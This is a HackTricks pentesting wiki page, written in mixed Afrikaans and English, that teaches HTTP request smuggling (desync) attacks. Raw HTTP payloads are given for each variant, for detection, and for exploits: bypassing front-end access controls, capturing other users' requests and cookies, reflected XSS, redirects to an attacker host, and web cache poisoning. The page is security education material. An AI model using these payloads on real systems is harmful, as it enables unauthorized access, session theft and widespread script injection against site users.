HTTP Request Smuggling / HTTP Desync Attack

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).

Ondersteun HackTricks

Wat is dit

Hierdie kwesbaarheid vind plaas wanneer ’n desyncronization tussen front-end proxies en die back-end server ’n attacker toelaat om ’n HTTP request te send wat deur die front-end proxies (load balance/reverse-proxy) as ’n enkele request interpreteer sal word en deur die back-end server as 2 request.
Dit laat ’n gebruiker toe om die next request wat ná syne by die back-end server aankom, te modify.

Theory

RFC Specification (2161)

If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.

Content-Length

The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.

Transfer-Encoding: chunked

The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks

Reality

Die Front-End (’n load-balance / Reverse Proxy) process die content-length of die transfer-encoding header en die Back-end server process the other een, wat ’n desyncronization tussen die 2 systems veroorsaak.
Dit kan baie krities wees aangesien ’n attacker sal in staat wees om een request na die reverse proxy te stuur wat deur die back-end server as 2 verskillende requests geïnterpreteer sal word. Die danger van hierdie tegniek lê daarin dat die back-end server die 2de request injected sal interpreteer asof dit van die next client af gekom het en die real request van daardie client deel van die injected request sal wees.

Particularities

Onthou dat in HTTP ’n new line character uit 2 bytes bestaan:

  • Content-Length: Hierdie header gebruik ’n decimal number om die number van bytes van die body van die request aan te dui. Die body word verwag om by die laaste character te eindig, ’n new line is nie nodig aan die einde van die request nie.
  • Transfer-Encoding: Hierdie header gebruik in die body ’n hexadecimal number om die number van bytes van die next chunk aan te dui. Die chunk moet met ’n new line eind maar hierdie new line word nie getel by die length indicator nie. Hierdie transfer method moet eindig met ’n chunk of size 0 gevolg deur 2 new lines: 0
  • Connection: Volgens my ervaring is dit aanbeveel om Connection: keep-alive op die eerste request van die request Smuggling te gebruik.

Visible - Hidden

Die hoofprobleem met http/1.1 is dat al die requests in dieselfde TCP socket gaan, so as ’n discrepency tussen 2 systems wat requests ontvang gevind word, is dit moontlik om een request te stuur wat deur die finale backend as 2 verskillende requests (of meer) hanteer sal word, of selfs deur intermediêre systems.

This blog post stel nuwe maniere voor om desync attacks na ’n system op te spoor wat nie deur WAFs gemerk sal word nie. Hiervoor stel dit die Visible vs Hidden behaviours voor. Die doel in hierdie geval is om te probeer om discrepancies in die repsonse te vind deur tegnieke te gebruik wat desyncs kan veroorsaak sonder om eintlik enigiets te exploit.

Byvoorbeeld, om ’n request met die normale host header en ’n “ host“ header te stuur, as die backend oor hierdie request kla (miskien omdat die value van “ host“ verkeerd is) kan dit moontlik beteken dat die front-end nie van die “ host“ header bewus was nie terwyl die finale backend dit wel gebruik het, wat hoogs waarskynlik ’n desync tussen front-end en backend impliseer.

Dit sou ’n Hidden-Visible discrepancy wees.

As die front-end die “ host“ header in ag geneem het maar die front-end het nie, kon dit ’n Visible-Hidden situasie gewees het.

Byvoorbeeld, dit het toegelaat om desyncs tussen AWS ALB as front-end en IIS as die backend te ontdek. Dit was omdat wanneer “Host: foo/bar” gestuur is, die ALB 400, Server; awselb/2.0 teruggegee het, maar wanneer “Host : foo/bar” gestuur is, het dit 400, Server: Microsoft-HTTPAPI/2.0 teruggegee, wat aandui dat die backend die response gestuur het. Dit is ’n Hidden-Vissible (H-V) situasie.

Let daarop dat hierdie situasie nie in AWS reggestel is nie, maar dit kan voorkom word deur routing.http.drop_invalid_header_fields.enabled en routing.http.desync_mitigation_mode = strictest te stel.

Basic Examples

Tip

Wanneer jy probeer om dit met Burp Suite te exploit, disable Update Content-Length en Normalize HTTP/1 line endings in die repeater omdat sommige gadgets newlines, carriage returns en malformed content-lengths misbruik.

HTTP request smuggling attacks word gemaak deur dubbelsinnige requests te stuur wat discrepencies in hoe front-end en back-end servers die Content-Length (CL) en Transfer-Encoding (TE) headers interpreteer, uitbuit. Hierdie attacks kan in verskillende vorme voorkom, hoofsaaklik as CL.TE, TE.CL, en TE.TE. Elke type verteenwoordig ’n unieke kombinasie van hoe die front-end en back-end servers hierdie headers prioritiseer. Die vulnerabilities ontstaan wanneer die servers dieselfde request op verskillende maniere verwerk, wat lei tot onverwagte en potensieel kwaadwillige uitkomste.

Basic Examples of Vulnerability Types

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

Tip

By die vorige table moet jy die TE.0 technique byvoeg, soos die CL.0 technique maar met Transfer Encoding.

CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

  • Front-End (CL): Process the request based on the Content-Length header.

  • Back-End (TE): Process the request based on the Transfer-Encoding header.

  • Attack Scenario:

  • Die attacker stuur ’n request waar die waarde van die Content-Length header nie ooreenstem met die werklike content length nie.

  • Die front-end server stuur die hele request aan die back-end deur, gebaseer op die Content-Length value.

  • Die back-end server process die request as chunked weens die Transfer-Encoding: chunked header, en interpreteer die oorblywende data as ’n aparte, daaropvolgende request.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

  • Front-End (TE): Process the request based on the Transfer-Encoding header.

  • Back-End (CL): Process the request based on the Content-Length header.

  • Attack Scenario:

  • Die attacker stuur ’n chunked request waar die chunk size (7b) en werklike content length (Content-Length: 4) nie ooreenstem nie.

  • Die front-end server, wat Transfer-Encoding gehoorsaam, stuur die hele request aan die back-end deur.

  • Die back-end server, wat Content-Length respekteer, process slegs die aanvanklike deel van die request (7b bytes), en laat die res as deel van ’n onbedoelde daaropvolgende request.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

  • Servers: Beide support Transfer-Encoding, maar een kan mislei word om dit via obfuscation te ignore.

  • Attack Scenario:

  • Die attacker stuur ’n request met obfuscated Transfer-Encoding headers.

  • Afhangende van watter server (front-end of back-end) die obfuscation nie herken nie, kan ’n CL.TE of TE.CL vulnerability uitgebuit word.

  • Die ongeprosesseerde deel van die request, soos deur een van die servers gesien, word deel van ’n daaropvolgende request, wat tot smuggling lei.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length used by both Front-End and Back-End)

  • Beide servers process die request uitsluitlik op grond van die Content-Length header.
  • Hierdie scenario lei tipies nie tot smuggling nie, aangesien daar ooreenstemming is in hoe beide servers die request length interpreteer.
  • Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

  • Verwys na scenarios waar die Content-Length header teenwoordig is en ’n value anders as nul het, wat aandui dat die request body content het. Die back-end ignoreer die Content-Length header (wat as 0 behandel word), maar die front-end parse dit.
  • Dit is krities om smuggling attacks te verstaan en te craft, aangesien dit beïnvloed hoe servers die einde van ’n request bepaal.
  • Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

  • Soos die vorige een maar met TE
  • Technique reported here
  • Example:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

0.CL Scenario

In a 0.CL situasie word ’n request gestuur met ’n Content-Length soos:

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7

GET /404 HTTP/1.1
X: Y

En die front-end neem nie die Content-Length in ag nie, so dit stuur net die eerste request na die backend (tot by die 7 in die voorbeeld). Die backend sien egter die Content-Length en wag vir ’n body wat nooit opdaag nie, want die front-end wag reeds vir die response.

As daar egter ’n request is wat na die backend gestuur kan word en waarop geantwoord word voordat die body van die request ontvang word, sal hierdie deadlock nie voorkom nie. In IIS byvoorbeeld gebeur dit wanneer requests na forbidden woorde soos /con gestuur word (check die documentation), so sal die aanvanklike request direk geantwoord word en die tweede request sal die victim se request bevat soos:

GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>

Dit is nuttig om ’n desync te veroorsaak, maar dit sal tot nou toe geen impak hê nie.

Die post bied egter ’n oplossing hiervoor deur ’n 0.CL attack in ’n CL.0 met ’n double desync te omskep.

Breek die web server

Hierdie tegniek is ook nuttig in scenario’s waar dit moontlik is om ’n web server te breek terwyl die aanvanklike HTTP-data gelees word maar sonder om die connection te sluit. Op hierdie manier sal die body van die HTTP request as die volgende HTTP request beskou word.

Byvoorbeeld, soos verduidelik in hierdie writeup, in Werkzeug was dit moontlik om sekere Unicode karakters te stuur en dit sou die server laat breek. As die HTTP connection egter met die header Connection: keep-alive geskep is, sou die body van die request nie gelees word nie en die connection sou steeds oop bly, so die body van die request sou as die volgende HTTP request behandel word.

Forcing via hop-by-hop headers

Deur hop-by-hop headers te misbruik, kon jy die proxy aandui om die header Content-Length of Transfer-Encoding te delete, sodat ’n HTTP request smuggling moontlik is om te misbruik.

Connection: Content-Length

Vir more information about hop-by-hop headers besoek:

hop-by-hop headers

Vind HTTP Request Smuggling

Die identifisering van HTTP request smuggling-kwesbaarhede kan dikwels bereik word met tydgebaseerde tegnieke, wat daarop staatmaak om waar te neem hoe lank dit die server neem om op gemanipuleerde requests te reageer. Hierdie tegnieke is veral nuttig vir die opsporing van CL.TE- en TE.CL-kwesbaarhede. Benewens hierdie metodes, is daar ander strategieë en tools wat gebruik kan word om sulke kwesbaarhede te vind:

Vind CL.TE-kwesbaarhede met tydgebaseerde tegnieke

  • Method:

  • Stuur ’n request wat, indien die application kwesbaar is, die back-end server sal laat wag vir addisionele data.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Observation:

  • Die front-end server verwerk die request op grond van Content-Length en sny die message voortydig af.

  • Die back-end server, wat ’n chunked message verwag, wag vir die volgende chunk wat nooit aankom nie, wat ’n vertraging veroorsaak.

  • Indicators:

  • Timeouts of lang vertragings in response.

  • Ontvangs van ’n 400 Bad Request error vanaf die back-end server, soms met gedetailleerde server-inligting.

Vind TE.CL-kwesbaarhede met tydgebaseerde tegnieke

  • Method:

  • Stuur ’n request wat, indien die application kwesbaar is, die back-end server sal laat wag vir addisionele data.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Observation:
  • Die front-end server verwerk die request op grond van Transfer-Encoding en stuur die hele message aan.
  • Die back-end server, wat ’n message op grond van Content-Length verwag, wag vir addisionele data wat nooit aankom nie, wat ’n vertraging veroorsaak.

Ander metodes om kwesbaarhede te vind

  • Differential Response Analysis:
  • Stuur effens verskillende weergawes van ’n request en neem waar of die server responses op ’n onverwagte manier verskil, wat op ’n parsing discrepancy dui.
  • Using Automated Tools:
  • Tools soos Burp Suite se ‘HTTP Request Smuggler’ extension kan hierdie kwesbaarhede outomaties toets deur verskeie vorme van ambiguous requests te stuur en die responses te analiseer.
  • Content-Length Variance Tests:
  • Stuur requests met verskillende Content-Length-waardes wat nie met die werklike content length ooreenstem nie en neem waar hoe die server sulke mismatches hanteer.
  • Transfer-Encoding Variance Tests:
  • Stuur requests met obfuscated of malformed Transfer-Encoding headers en monitor hoe anders die front-end en back-end servers op sulke manipulasies reageer.

Die Expect: 100-continue header

Kyk hoe hierdie header kan help om ’n http desync uit te buit in:

Special Http Headers

HTTP Request Smuggling Vulnerability Testing

Nadat die doeltreffendheid van tydgebaseerde tegnieke bevestig is, is dit noodsaaklik om te verifieer of client requests gemanipuleer kan word. ’n Eenvoudige metode is om jou requests te poison; byvoorbeeld, om ’n request na / ’n 404 response te laat lewer. Die CL.TE- en TE.CL-voorbeelde wat vroeër in Basic Examples bespreek is, toon hoe om ’n client’s request te poison om ’n 404 response uit te lok, al mik die client daarna om ’n ander resource te bereik.

Key Considerations

Wanneer jy toets vir request smuggling-kwesbaarhede deur met ander requests te inmeng, hou die volgende in gedagte:

  • Distinct Network Connections: Die “attack”- en “normal”-requests moet oor afsonderlike network connections gestuur word. Die gebruik van dieselfde connection vir albei bevestig nie die teenwoordigheid van die kwesbaarheid nie.
  • Consistent URL and Parameters: Doel om identiese URLs en parameter name vir albei requests te gebruik. Moderne applications stuur dikwels requests na spesifieke back-end servers op grond van URL en parameters. As hierdie ooreenstem, verhoog dit die kans dat albei requests deur dieselfde server verwerk word, ’n voorvereiste vir ’n suksesvolle attack.
  • Timing and Racing Conditions: Die “normal” request, bedoel om inmenging van die “attack” request op te spoor, kompeteer teen ander gelyktydige application requests. Daarom moet jy die “normal” request onmiddellik ná die “attack” request stuur. Besige applications mag verskeie pogings vereis vir ’n afdoende bevestiging van kwesbaarheid.
  • Load Balancing Challenges: Front-end servers wat as load balancers optree, kan requests oor verskeie back-end systems versprei. As die “attack”- en “normal”-requests op verskillende systems beland, sal die attack nie slaag nie. Hierdie load balancing-aspek mag verskeie pogings vereis om ’n kwesbaarheid te bevestig.
  • Unintended User Impact: As jou attack per ongeluk ’n ander user’s request beïnvloed (nie die “normal” request wat jy vir opsporing gestuur het nie), dui dit daarop dat jou attack ’n ander application user beïnvloed het. Deurlopende toetsing kan ander users ontwrig, wat ’n versigtige benadering noodsaak.

Onderskei HTTP/1.1 pipelining artefakte vs werklike request smuggling

Connection hergebruik (keep-alive) en pipelining kan maklik illusies van “smuggling” skep in testing tools wat multiple requests op dieselfde socket stuur. Leer om onskadelike client-side artefakte van ware server-side desync te onderskei.

Waarom pipelining klassieke false positives skep

HTTP/1.1 hergebruik ’n enkele TCP/TLS connection en koppel requests en responses aan mekaar op dieselfde stream. In pipelining stuur die client multiple requests rug-aan-rug en vertrou op responses in volgorde. ’n Algemene false-positive is om ’n malformed CL.0-style payload twee keer op ’n enkele connection te stuur:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Antwoorde mag so lyk:

HTTP/1.1 200 OK
Content-Type: text/html

HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

As die server die misvormde Content_Length geïgnoreer het, is daar geen FE↔BE desync nie. Met reuse, het jou client eintlik hierdie byte-stream gestuur, wat die server as twee onafhanklike requests geparse het:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Impak: geen. Jy het net jou client van die server framing gedesink.

Tip

Burp modules wat van reuse/pipelining afhang: Turbo Intruder met requestsPerConnection>1, Intruder met “HTTP/1 connection reuse”, Repeater “Send group in sequence (single connection)” of “Enable connection reuse”.

Litmus-toetse: pipelining of regte desync?

  1. Skakel reuse af en toets weer
  • In Burp Intruder/Repeater, skakel HTTP/1 reuse af en vermy “Send group in sequence”.
  • In Turbo Intruder, stel requestsPerConnection=1 en pipeline=False.
  • As die gedrag verdwyn, was dit waarskynlik client-side pipelining, tensy jy te doen het met connection-locked/stateful teikens of client-side desync.
  1. HTTP/2 nested-response kontrole
  • Stuur ’n HTTP/2 request. As die response body ’n volledige geneste HTTP/1 response bevat, het jy ’n backend parsing/desync bug bewys in plaas van ’n suiwer client artefak.
  1. Partial-requests probe vir connection-locked front-ends
  • Sommige FEs hergebruik net die upstream BE connection as die client s’n hergebruik het. Gebruik partial-requests om FE-gedrag op te spoor wat client reuse weerspieël.
  • Sien PortSwigger “Browser‑Powered Desync Attacks” vir die connection-locked tegniek.
  1. State probes
  • Soek verskille tussen eerste- en daaropvolgende requests op dieselfde TCP connection (first-request routing/validation).
  • Burp “HTTP Request Smuggler” sluit ’n connection‑state probe in wat dit outomatiseer.
  1. Visualiseer die wire
  • Gebruik die Burp “HTTP Hacker” extension om concatenation en message framing direk te inspekteer terwyl jy met reuse en partial requests eksperimenteer.

Connection‑locked request smuggling (reuse-required)

Sommige front-ends hergebruik slegs die upstream connection wanneer die client syne hergebruik. Regte smuggling bestaan, maar is voorwaardelik op client-side reuse. Om dit te onderskei en impak te bewys:

  • Bewys die server-side bug
  • Gebruik die HTTP/2 nested-response kontrole, of
  • Gebruik partial-requests om te wys die FE hergebruik slegs upstream wanneer die client dit doen.
  • Wys regte impak selfs al word direkte cross-user socket abuse geblokkeer:
  • Cache poisoning: poison gedeelde caches via die desync sodat responses ander users beïnvloed.
  • Internal header disclosure: reflekteer FE-ingespuite headers (bv. auth/trust headers) en pivot na auth bypass.
  • Bypass FE controls: smuggle beperkte paths/methods verby die front-end.
  • Host-header abuse: kombineer met host routing-eienaardighede om na interne vhosts te pivot.
  • Operator workflow
  • Herproduseer met beheerde reuse (Turbo Intruder requestsPerConnection=2, of Burp Repeater tab group → “Send group in sequence (single connection)”).
  • Koppel dan aan cache/header-leak/control-bypass primitives en demonstreer cross-user of authorization impak.

Sien ook connection‑state attacks, wat nou verwant is maar tegnies nie smuggling is nie:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Client‑side desync beperkings

As jy browser-powered/client-side desync teiken, moet die kwaadwillige request deur ’n browser cross-origin gestuur kan word. Header obfuscation-truuks sal nie werk nie. Fokus op primitives wat via navigation/fetch bereikbaar is, en pivot dan na cache poisoning, header disclosure, of front-end control bypass waar downstream components responses reflekteer of cache.

Vir agtergrond en end-to-end workflows:

Browser HTTP Request Smuggling

Tooling om te help besluit

  • HTTP Hacker (Burp BApp Store): stel lae-vlak HTTP-gedrag en socket concatenation bloot.
  • “Smuggling or pipelining?” Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
  • Turbo Intruder: presiese beheer oor connection reuse via requestsPerConnection.
  • Burp HTTP Request Smuggler: sluit ’n connection‑state probe in om first-request routing/validation op te spoor.

Note

Behandel reuse-only effekte as nie-issues tensy jy server-side desync kan bewys en konkrete impak kan koppel (poisoned cache artifact, leaked internal header wat privilege bypass moontlik maak, bypassed FE control, ens.).

Abusing HTTP Request Smuggling

Circumventing Front-End Security via HTTP Request Smuggling

Soms handhaaf front-end proxies sekuriteitsmaatreëls en ondersoek inkomende requests. Hierdie maatreëls kan egter omseil word deur HTTP Request Smuggling te misbruik, wat ongemagtigde toegang tot beperkte endpoints toelaat. Byvoorbeeld, toegang tot /admin kan ekstern verbied word, met die front-end proxy wat sulke pogings aktief blokkeer. Nietemin mag hierdie proxy nalaat om embedded requests binne ’n gesmokkelde HTTP request te inspekteer, wat ’n leemte laat om hierdie beperkings te omseil.

Beskou die volgende voorbeelde wat illustreer hoe HTTP Request Smuggling gebruik kan word om front-end security controls te omseil, spesifiek met die teiken op die /admin path wat tipies deur die front-end proxy bewaak word:

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

In die CL.TE-aanval word die Content-Length-header gebruik vir die aanvanklike request, terwyl die daaropvolgende ingebedde request die Transfer-Encoding: chunked-header gebruik. Die front-end proxy verwerk die aanvanklike POST request maar slaag nie daarin om die ingebedde GET /admin request te inspekteer nie, wat ongemagtigde toegang tot die /admin path toelaat.

TE.CL Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Omgekeerd, in die TE.CL-aanval gebruik die aanvanklike POST request Transfer-Encoding: chunked, en die daaropvolgende ingebedde request word verwerk op grond van die Content-Length header. Soortgelyk aan die CL.TE-aanval, sien die front-end proxy die gesmokkelde GET /admin request oor, en gee per ongeluk toegang tot die beperkte /admin path.

Front-end request rewriting blootstel

Applications gebruik dikwels ’n front-end server om inkomende requests te verander voordat dit na die back-end server gestuur word. ’n Tipiese verandering is om headers by te voeg, soos X-Forwarded-For: <IP of the client>, om die kliënt se IP na die back-end oor te dra. Om hierdie veranderinge te verstaan kan baie belangrik wees, aangesien dit maniere kan onthul om protections te omseil of verborge inligting of endpoints te ontdek.

Om te ondersoek hoe ’n proxy ’n request verander, vind ’n POST-parameter wat die back-end in die response herhaal. Stel dan ’n request op, met hierdie parameter heel laaste, soortgelyk aan die volgende:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

In hierdie struktuur word daaropvolgende request-komponente bygevoeg ná search=, wat die parameter is wat in die response weerspieël word. Hierdie weerspieëling sal die headers van die daaropvolgende request blootstel.

Dit is belangrik om die Content-Length header van die geneste request met die werklike content length te laat ooreenstem. Om met ’n klein waarde te begin en dit geleidelik te verhoog is aan te beveel, aangesien ’n te lae waarde die weerspieëlde data sal afkap, terwyl ’n te hoë waarde kan veroorsaak dat die request faal.

Hierdie technique is ook van toepassing in die konteks van ’n TE.CL vulnerability, maar die request moet eindig met search=\r\n0. Ongeag die newline karakters, sal die values aan die search parameter geheg word.

Hierdie metode dien hoofsaaklik om die request modifications te verstaan wat deur die front-end proxy gemaak word, en voer basies ’n selfgerigte ondersoek uit.

Capturing other users’ requests

Dit is moontlik om die requests van die volgende user vas te vang deur ’n spesifieke request as die value van ’n parameter tydens ’n POST operation by te voeg. Hier is hoe dit bereik kan word:

Deur die volgende request as die value van ’n parameter by te voeg, kan jy die daaropvolgende client se request stoor:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

In hierdie scenario is die comment parameter bedoel om die inhoud binne ’n post se kommentaar-afdeling op ’n publiek toeganklike bladsy te stoor. Gevolglik sal die inhoud van die daaropvolgende request as ’n comment verskyn.

Hierdie tegniek het egter beperkings. Oor die algemeen vang dit slegs data op tot by die parameter-delimiter wat in die gesmokkelde request gebruik word. Vir URL-encoded form submissions is hierdie delimiter die & karakter. Dit beteken die vasgevangde inhoud van die slagoffer se user se request sal by die eerste & stop, wat selfs deel van die query string kan wees.

Daarbenewens is dit die moeite werd om daarop te let dat hierdie benadering ook met ’n TE.CL vulnerability werkbaar is. In sulke gevalle moet die request eindig met search=\r\n0. Ongeag newline characters, sal die values aan die search parameter aangeheg word.

Using HTTP request smuggling to exploit reflected XSS

HTTP Request Smuggling kan gebruik word om webbladsye te misbruik wat kwesbaar is vir Reflected XSS, en bied aansienlike voordele:

  • Interaksie met die teiken users is nie nodig nie.
  • Laat die misbruik van XSS toe in dele van die request wat gewoonlik onbereikbaar is, soos HTTP request headers.

In scenario’s waar ’n website vatbaar is vir Reflected XSS deur die User-Agent header, demonstreer die volgende payload hoe om hierdie vulnerability te misbruik:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Hierdie payload is gestruktureer om die vulnerability uit te buit deur:

  1. ’n POST request te begin, skynbaar tipies, met ’n Transfer-Encoding: chunked header om die begin van smuggling aan te dui.
  2. Daarna volg ’n 0, wat die einde van die chunked message body merk.
  3. Dan word ’n gesmuggelde GET request ingestel, waar die User-Agent header met ’n script ingespuit word, <script>alert(1)</script>, wat die XSS trigger wanneer die server hierdie daaropvolgende request verwerk.

Deur die User-Agent via smuggling te manipuleer, omseil die payload normale request constraints, en buit sodoende die Reflected XSS vulnerability op ’n nie-standaard maar effektiewe manier uit.

HTTP/0.9

Caution

In case the user content is reflected in a response with a Content-type such as text/plain, preventing the execution of the XSS. If the server support HTTP/0.9 it might be possible to bypass this!

Die version HTTP/0.9 was vroeër as 1.0 en gebruik slegs GET verbs en reageer nie met headers nie, net die body.

In this writeup, is dit misbruik met ’n request smuggling en ’n vulnerable endpoint that will reply with the input of the user om ’n request met HTTP/0.9 te smuggle. Die parameter wat in die response reflected sou word, het ’n fake HTTP/1.1 response (with headers and body) bevat, so die response sal geldige uitvoerbare JS code bevat met ’n Content-Type van text/html.

Exploiting On-site Redirects with HTTP Request Smuggling

Applications redirect dikwels van een URL na ’n ander deur die hostname van die Host header in die redirect URL te gebruik. Dit is algemeen met web servers soos Apache en IIS. Byvoorbeeld, ’n versoek vir ’n folder sonder ’n trailing slash lei tot ’n redirect om die slash in te sluit:

GET /home HTTP/1.1
Host: normal-website.com

Resultate in:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Al lyk dit onskadelik, kan hierdie gedrag gemanipuleer word met behulp van HTTP request smuggling om gebruikers na ’n eksterne webwerf te herlei. Byvoorbeeld:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Hierdie gesmokkelde request kon veroorsaak dat die volgende verwerkte user request na ’n aanvaller-beheerde website herlei word:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Resultate in:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

In hierdie scenario word ’n gebruiker se versoek vir ’n JavaScript-lêer gekaap. Die aanvaller kan moontlik die gebruiker kompromitteer deur kwaadwillige JavaScript as antwoord te bedien.

Exploiting Web Cache Poisoning via HTTP Request Smuggling

Web cache poisoning kan uitgevoer word as enige komponent van die front-end infrastructure content cache, tipies om performance te verbeter. Deur die server se response te manipuleer, is dit moontlik om die cache te poison.

Voorheen het ons gesien hoe server responses verander kon word om ’n 404 error terug te gee (sien Basic Examples). Net so is dit moontlik om die server te mislei om /index.html content terug te stuur in reaksie op ’n request vir /static/include.js. Gevolglik word die /static/include.js content in die cache vervang met dié van /index.html, wat maak dat /static/include.js ontoeganklik is vir users, wat moontlik kan lei tot ’n Denial of Service (DoS).

Hierdie technique word besonder kragtig as ’n Open Redirect vulnerability ontdek word of as daar ’n on-site redirect to an open redirect is. Sulke vulnerabilities kan uitgebuit word om die cached content van /static/include.js te vervang met ’n script onder die aanvaller se beheer, wat in wese ’n wydverspreide Cross-Site Scripting (XSS) attack teen alle clients moontlik maak wat die opgedateerde /static/include.js request.

Hieronder is ’n illustrasie van die uitbuiting van cache poisoning combined with an on-site redirect to open redirect. Die doel is om die cache content van /static/include.js te verander sodat JavaScript code onder die aanvaller se beheer bedien word:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Let op die ingebedde request wat /post/next?postId=3 teiken. Hierdie request sal herlei word na /post?postId=4, deur die Host header value te gebruik om die domein te bepaal. Deur die Host header te verander, kan die attacker die request na hul domein herlei (on-site redirect to open redirect).

Na suksesvolle socket poisoning moet ’n GET request vir /static/include.js ingestel word. Hierdie request sal besoedel word deur die vorige on-site redirect to open redirect request en die inhoud van die script haal wat deur die attacker beheer word.

Daarna sal enige request vir /static/include.js die gekaste inhoud van die attacker se script bedien, wat effektief ’n breë XSS attack begin.

Using HTTP request smuggling to perform web cache deception

What is the difference between web cache poisoning and web cache deception?

  • In web cache poisoning, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
  • In web cache deception, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.

